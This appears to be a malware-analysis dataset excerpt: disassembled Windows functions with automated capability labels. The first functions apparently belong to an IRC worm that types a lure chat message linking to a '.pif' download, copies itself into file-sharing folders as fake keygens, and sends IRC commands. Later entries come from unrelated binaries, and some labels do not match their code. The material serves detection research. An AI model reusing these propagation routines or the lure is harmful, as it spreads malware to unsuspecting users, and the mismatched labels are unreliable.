joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400030b0
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x1400030b0
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x240
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov ebp, edx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
test ebp, ebp
je 0x1400032d4
xor edx, edx
mov qword [rsp + 0x260], rdi
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetFocus]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x61
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor r8d, r8d
movzx ecx, ax
xor edx, edx
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x2e
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov cl, 0x61
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor edx, edx
movzx ecx, ax
mov r8d, 2
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, 0x2e
call qword [sym.imp.USER32.dll_keybd_event]
lea rax, str.http:__sexy4life.atspace.com_mypic.pif
mov edx, 0x200
lea r9, str.Hey_whats_up_look_at_my_new_picture
mov qword [rsp + 0x20], rax
lea r8, str._s__s
lea rcx, [rsp + 0x30]
call fcn.14000123f
xor edi, edi
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], dil
jne 0x1400031d0
test rax, rax
je 0x140003266
mov qword [rsp + 0x258], rbx
mov rbx, rdi
nop dword [rax]
movzx ecx, byte [rsp + rbx + 0x30]
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor r8d, r8d
movzx ecx, ax
xor edx, edx
call qword [sym.imp.USER32.dll_keybd_event]
movzx ecx, byte [rsp + rbx + 0x30]
call qword [sym.imp.USER32.dll_VkKeyScanA]
xor r9d, r9d
xor edx, edx
movzx ecx, ax
mov r8d, 2
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc di
lea rcx, [rsp + 0x30]
movzx ebx, di
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140003250
cmp rbx, rax
jb 0x1400031f0
mov rbx, qword [rsp + 0x258]
mov rcx, rsi
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetFocus]
mov rdi, qword [rsp + 0x260]
cmp ebp, 2
jne 0x14000329e
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, select
call qword [sym.imp.USER32.dll_keybd_event]
mov al, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400011d6
mov rbp, qword [rsp + 0x268]
add rsp, 0x240
pop rsi
ret
Function at 0x1400035f0
Capabilities:
Copy file
Set file attributes

Disassembly:
jmp 0x1400035f0
push rbp
sub rsp, 0x30
mov ecx, 0x208
call fcn.140001028
mov rbp, rax
test rax, rax
je 0x14000374c
mov qword [rsp + 0x40], rbx
xor edx, edx
mov qword [rsp + 0x48], rsi
mov r8d, 0x208
mov qword [rsp + 0x50], rdi
mov rcx, rax
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0x104
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r15d, r15d
lea r14, str.C:program_fileskazaamy_shared_folder_
lea r12, str.Windows_2003_Advanced_Server_KeyGen.exe
nop word [rax + rax]
xor edi, edi
mov rsi, r12
nop word [rax + rax]
mov rcx, qword [r14]
lea rdx, [rbp + 0x104]
nop word [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140003690
lea rax, [rbp + 0x103]
nop dword [rax + rax]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1400036b0
mov r8, qword [rsi]
xor edx, edx
nop
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400036c0
xor r8d, r8d
lea rdx, [rbp + 0x104]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x1400036f9
mov edx, 0x80
lea rcx, [rbp + 0x104]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc edi
add rsi, 8
cmp edi, 0x1c
jb 0x140003680
inc r15d
add r14, 8
cmp r15d, 0xc
jb 0x140003670
mov r15, qword [rsp + 0x20]
mov edx, 0x208
mov r14, qword [rsp + 0x28]
mov rcx, rbp
mov r12, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
call fcn.140001334
mov al, 1
add rsp, 0x30
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x140003c90
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
jmp 0x140003c90
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x270
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov ebp, r8d
mov dword [rsp + 0x30], 1
movzx edi, dx
mov ebx, ecx
mov r14d, 2
xor r8d, r8d
mov ecx, r14d
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003d6b
movzx ecx, di
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], ebx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rsi
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x38], ebp
xor edi, edi
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x3c], edi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x58], rsi
xor edx, edx
mov dword [rsp + 0x50], 1
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_select]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
setg dil
mov eax, edi
jmp 0x140003d6d
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400011d6
add rsp, 0x270
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000aec0
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000aec0
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x30]
mov ebx, r9d
call sub.VCRUNTIME140.dll_memset
test ebx, ebx
mov qword [rsp + 0x20], rsi
lea rax, str.PRIVMSG
mov r9, rdi
lea r8, str.NOTICE
cmove r8, rax
lea rdx, str._s__s_:_s_r_n
lea rcx, [rsp + 0x30]
call fcn.140001393
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000af40
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400011d6
mov rbx, qword [rsp + 0x278]
add rsp, 0x240
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000b370
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000b370
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
mov r8, rbx
lea rdx, str._s_r_n
lea rcx, [rsp + 0x20]
call fcn.140001393
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b3d0
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1400011d6
mov rbx, qword [rsp + 0x250]
add rsp, 0x230
pop rdi
ret

Function at 0x14000b440
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000b440
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, r8
mov rbx, rdx
mov rbp, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x20]
mov rsi, r9
call sub.VCRUNTIME140.dll_memset
mov r9, rsi
lea rcx, [rsp + 0x20]
mov r8, rdi
mov rdx, rbx
call fcn.140001393
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000b4a0
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1400011d6
mov rbx, qword [rsp + 0x258]
add rsp, 0x230
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000b510
Capabilities:
Send data
Send data on socket

Disassembly:
jmp 0x14000b510
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x230
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
xor edx, edx
mov r8d, 0x200
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.140001393
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000b570
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.1400011d6
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000bf70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
jmp 0x14000bf70
sub rsp, 0x58
mov rax, qword [0x14001be00]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
movups xmmword [rsp + 0x38], xmm0
call qword [sym.imp.WS2_32.dll_getsockname]
movzx ecx, byte [rsp + 0x3e]
lea rdx, str._d._d._d._d
movzx eax, byte [rsp + 0x3f]
movzx r9d, byte [rsp + 0x3d]
movzx r8d, byte [rsp + 0x3c]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
lea rcx, [0x14008cb08]
call fcn.140001393
lea rax, [0x14008cb08]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400011d6
add rsp, 0x58
ret

Function at 0x14000c230
Capabilities:
Resolve dns

Disassembly:
jmp 0x14000c230
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x14000c266
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x14000c25d
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
add rsp, 0x20
pop rbx
ret

Function at 0x14000de10
Capabilities:
Terminate thread

Disassembly:
jmp 0x14000de10
push rsi
sub rsp, 0x20
xor esi, esi
lea eax, [rcx - 1]
cmp eax, 0x1f2
ja 0x14000ded3
movsxd rax, ecx
xor edx, edx
mov qword [rsp + 0x30], rbx
imul rbx, rax, 0x248
mov qword [rsp + 0x38], rbp
lea rbp, [0x14001db20]
mov qword [rsp + 0x40], rdi
mov rcx, qword [rbx + rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
cmp qword [rbx + rbp + 0x220], rsi
mov edi, esi
mov qword [rbx + rbp + 0x220], rsi
setne dil
mov qword [rbx + rbp + 0x200], rsi
cmp dword [rbx + rbp + 0x208], esi
jbe 0x14000de84
mov dword [rbx + rbp + 0x208], esi
mov byte [rbx + rbp], sil
mov byte [rbx + rbp + 0x228], sil
mov rcx, qword [rbx + rbp + 0x210]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + rbp + 0x218]
mov qword [rbx + rbp + 0x210], rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx + rbp + 0x218], rsi
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rsi
ret
mov eax, esi
add rsp, 0x20
pop rsi
ret
Function at 0x14000df10
Capabilities:
Terminate thread

Disassembly:
jmp 0x14000df10
push rsi
sub rsp, 0x30
mov qword [rsp + 0x40], rbx
lea rbx, [0x14001dd40]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x28], r14
xor r14d, r14d
mov qword [rsp + 0x20], r15
mov esi, r14d
mov edi, r14d
mov qword [rsp + 0x48], rbp
lea r15, [0x1400651e0]
cmp byte [rbx - 0x220], r14b
je 0x14000dfa8
lea rax, [rdi - 1]
cmp rax, 0x1f2
ja 0x14000dfa8
mov rcx, qword [rbx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rbp, qword [rbx]
mov qword [rbx], r14
mov qword [rbx - 0x20], r14
cmp dword [rbx - 0x18], r14d
jbe 0x14000df7a
mov dword [rbx - 0x18], r14d
mov byte [rbx - 0x220], r14b
mov byte [rbx + 8], r14b
mov rcx, qword [rbx - 0x10]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx - 8]
mov qword [rbx - 0x10], r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbx - 8], r14
test rbp, rbp
je 0x14000dfa8
inc esi
inc rdi
add rbx, 0x248
cmp rbx, r15
jl 0x14000df46
mov r15, qword [rsp + 0x20]
mov eax, esi
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rsi
ret
Function at 0x1400118e0
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400118e0
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001192a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001192a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001192a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001192a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001192a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001192c
xor al, al
add rsp, 0x28
ret
Function at 0x140015290
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x1400152d2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x1400152da
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400152eb
jmp 0x140015302
xor r10d, r10d
jmp 0x14001538d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x140015302
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x140015319
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140015339
add r11, r8
jmp 0x14001546b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x140015402
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x1400153b0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x140015420
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140015432
jmp 0x14001544d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14001544d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140015467
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x14002ab50
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm14
movaps xmmword [rsp + 0x70], xmm13
movaps xmmword [rsp + 0x60], xmm12
movaps xmmword [rsp + 0x50], xmm11
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
aesimc xmm0, xmmword [rdx + 0x10]
aesimc xmm1, xmmword [rdx + 0x20]
aesimc xmm2, xmmword [rdx + 0x30]
aesimc xmm3, xmmword [rdx + 0x40]
aesimc xmm4, xmmword [rdx + 0x50]
aesimc xmm5, xmmword [rdx + 0x60]
aesimc xmm6, xmmword [rdx + 0x70]
aesimc xmm7, xmmword [rdx + 0x80]
aesimc xmm8, xmmword [rdx + 0x90]
aesimc xmm9, xmmword [rdx + 0xa0]
aesimc xmm10, xmmword [rdx + 0xb0]
aesimc xmm11, xmmword [rdx + 0xc0]
aesimc xmm12, xmmword [rdx + 0xd0]
movaps xmm13, xmmword [rdx]
movaps xmm14, xmmword [rdx + 0xe0]
movaps xmmword [rcx], xmm13
movdqa xmmword [rcx + 0x10], xmm0
movdqa xmmword [rcx + 0x20], xmm1
movdqa xmmword [rcx + 0x30], xmm2
movdqa xmmword [rcx + 0x40], xmm3
movdqa xmmword [rcx + 0x50], xmm4
movdqa xmmword [rcx + 0x60], xmm5
movdqa xmmword [rcx + 0x70], xmm6
movdqa xmmword [rcx + 0x80], xmm7
movdqa xmmword [rcx + 0x90], xmm8
movdqa xmmword [rcx + 0xa0], xmm9
movdqa xmmword [rcx + 0xb0], xmm10
movdqa xmmword [rcx + 0xc0], xmm11
movdqa xmmword [rcx + 0xd0], xmm12
movaps xmmword [rcx + 0xe0], xmm14
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x50]
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm13, xmmword [rsp + 0x70]
movaps xmm14, xmmword [rsp + 0x80]
add rsp, 0x98
ret
Function at 0x1400d1e60
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x1400d2c40
Capabilities:
Get local ipv4 addresses

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
mov edi, edx
mov rsi, rcx
mov dword [rbp - 4], 0x3a98
movzx eax, byte [0x1402f4241]
mov r15d, 0x3a98
mov ecx, 0x3a98
mov edx, 8
call fcn.1400cc190
test rax, rax
je 0x1400d2cef
movzx edi, di
lea rbx, [rbp - 4]
mov r14, qword [sym.imp.iphlpapi.dll_GetAdaptersAddresses]
nop word cs:[rax + rax]
mov qword [rbp - 0x18], r15
mov qword [rsp + 0x20], rbx
mov ecx, edi
xor edx, edx
xor r8d, r8d
mov qword [rbp - 0x10], rax
mov r9, rax
call r14
cmp eax, 0x6f
jne 0x1400d2cff
mov r8d, 8
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
call fcn.1400cc1a0
mov r15d, dword [rbp - 4]
movzx eax, byte [0x1402f4241]
mov edx, 8
mov rcx, r15
call fcn.1400cc190
test rax, rax
jne 0x1400d2ca0
mov dword [rsi + 8], 8
mov qword [rsi], 0
jmp 0x1400d2d35
test eax, eax
mov rdx, qword [rbp - 0x18]
jne 0x1400d2d1c
mov qword [rsi], 8
mov qword [rsi + 8], rdx
mov rax, qword [rbp - 0x10]
mov qword [rsi + 0x10], rax
jmp 0x1400d2d35
mov dword [rsi + 8], eax
mov qword [rsi], 0
mov r8d, 8
mov rcx, qword [rbp - 0x10]
call fcn.1400cc1a0
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret

Function at 0x1400dc320
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov rcx, r9
shr rcx, 0x20
jne 0x1400dc44e
mov rax, rdx
mov rdi, qword [rbp + 0x58]
mov qword [rsp + 0x20], r8
lea rcx, [rbp - 0x20]
mov dl, 1
mov r8d, r9d
mov r9, rax
call fcn.1400dd840
mov rbx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x1400dc40a
mov rcx, rbx
cmp rdx, 8
jb 0x1400dc3fa
cmp rdx, 0x20
jae 0x1400dc386
xor eax, eax
jmp 0x1400dc3d1
mov rax, rdx
and rax, 0xffffffffffffffe0
xor ecx, ecx
pcmpeqd xmm0, xmm0
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rbx + rcx]
movdqu xmm2, xmmword [rbx + rcx + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [rbx + rcx], xmm1
movdqu xmmword [rbx + rcx + 0x10], xmm2
add rcx, 0x20
cmp rax, rcx
jne 0x1400dc3a0
cmp rdx, rax
je 0x1400dc40a
test dl, 0x18
je 0x1400dc3f4
mov r8, rdx
and r8, 0xfffffffffffffff8
lea rcx, [rbx + r8]
nop dword [rax]
not qword [rbx + rax]
add rax, 8
cmp r8, rax
jne 0x1400dc3e0
cmp rdx, r8
jne 0x1400dc3fa
jmp 0x1400dc40a
add rax, rbx
mov rcx, rax
lea rax, [rbx + rdx]
nop
not byte [rcx]
inc rcx
cmp rcx, rax
jne 0x1400dc400
cmp rdx, rdi
jne 0x1400dc476
mov rcx, qword [rbp + 0x50]
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movabs rax, 0x800000000000000a
mov qword [rsi], rax
mov rdx, qword [rbp - 0x20]
test rdx, rdx
je 0x1400dc442
mov r8d, 1
mov rcx, rbx
call fcn.1400cc1a0
mov rax, rsi
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rax, [0x140265a48]
mov qword [rsp + 0x20], rax
lea rcx, [0x140263f22]
lea r9, [0x140263f50]
lea r8, [rbp - 0x20]
mov edx, 0x2b
call fcn.1401e0290
mov qword [rbp - 8], rbx
lea r8, [0x140265a60]
mov rcx, rdi
call fcn.1401e04b0
ud2
Function at 0x1400e4b90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r10, rdx
mov qword [rsp + 0x28], rcx
mov r11, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov rax, qword [r10 + 8]
mov qword [rsp + 0x30], rax
mov r14, qword [r10 + 0x10]
mov r15d, dword [r10 + 0x20]
mov eax, dword [r10 + 0x24]
movzx ebx, byte [r10 + 0x29]
mov r13, qword [r10 + 0x18]
movzx ecx, byte [r10 + 0x28]
mov byte [rsp + 0x27], cl
nop word [rax + rax]
mov rcx, r11
shr rcx, 1
cmp rcx, rdx
jae 0x1400e4d37
movzx edi, byte [rsi + rcx]
lea ecx, [r15 - 1]
imul ecx, edi
shr ecx, 8
inc ecx
mov edi, ecx
shl edi, 8
mov r12d, eax
sub r12d, edi
jb 0x1400e4c30
sub r15d, ecx
mov dword [r10 + 0x24], r12d
mov dword [r10 + 0x20], r15d
cmp r15d, 0x7f
jbe 0x1400e4c40
jmp 0x1400e4ca0
mov r12d, eax
mov r15d, ecx
mov dword [r10 + 0x20], r15d
cmp r15d, 0x7f
ja 0x1400e4ca0
test r15d, r15d
je 0x1400e4c4e
bsr ecx, r15d
xor ecx, 0x1f
jmp 0x1400e4c53
mov ecx, 0x20
add cl, 0xe8
shl r12d, cl
mov dword [r10 + 0x24], r12d
shl r15d, cl
mov dword [r10 + 0x20], r15d
add bl, cl
mov byte [r10 + 0x29], bl
cmp bl, 8
jb 0x1400e4ca0
and bl, 7
mov byte [r10 + 0x29], bl
cmp r14, r13
jbe 0x1400e4cc8
mov rcx, qword [rsp + 0x30]
movzx ebp, byte [rcx + r13]
mov ecx, ebx
shl ebp, cl
inc r13
mov qword [r10 + 0x18], r13
or r12d, ebp
mov dword [r10 + 0x24], r12d
nop word [rax + rax]
cmp eax, edi
sbb r11, 0xffffffffffffffff
cmp r11, r9
jae 0x1400e4ceb
cmp eax, edi
setae bpl
movzx ecx, byte [r8 + r11]
movzx r11d, cl
mov eax, r12d
test r11b, r11b
jg 0x1400e4bf0
jmp 0x1400e4cfd
mov qword [r10 + 0x18], r14
cmp byte [rsp + 0x27], 0
jne 0x1400e4d1b
mov byte [r10 + 0x28], 1
mov byte [rsp + 0x27], 1
mov r13, r14
cmp eax, edi
sbb r11, 0xffffffffffffffff
cmp r11, r9
jb 0x1400e4cab
lea r8, str.C:Userskernel.cargo_registry_srcindex.crates.io_6f17d22bba15001fimage_webp_0.2.0_src_vp8.rs
mov rcx, r11
mov rdx, r9
call fcn.1401dfff0
neg cl
mov rax, qword [rsp + 0x28]
mov byte [rax + 1], cl
mov byte [rax], 0x1d
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [0x140269c60]
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov rax, rcx
mov byte [rcx], 0
mov byte [rcx + 1], bpl
jmp 0x1400e4d0a
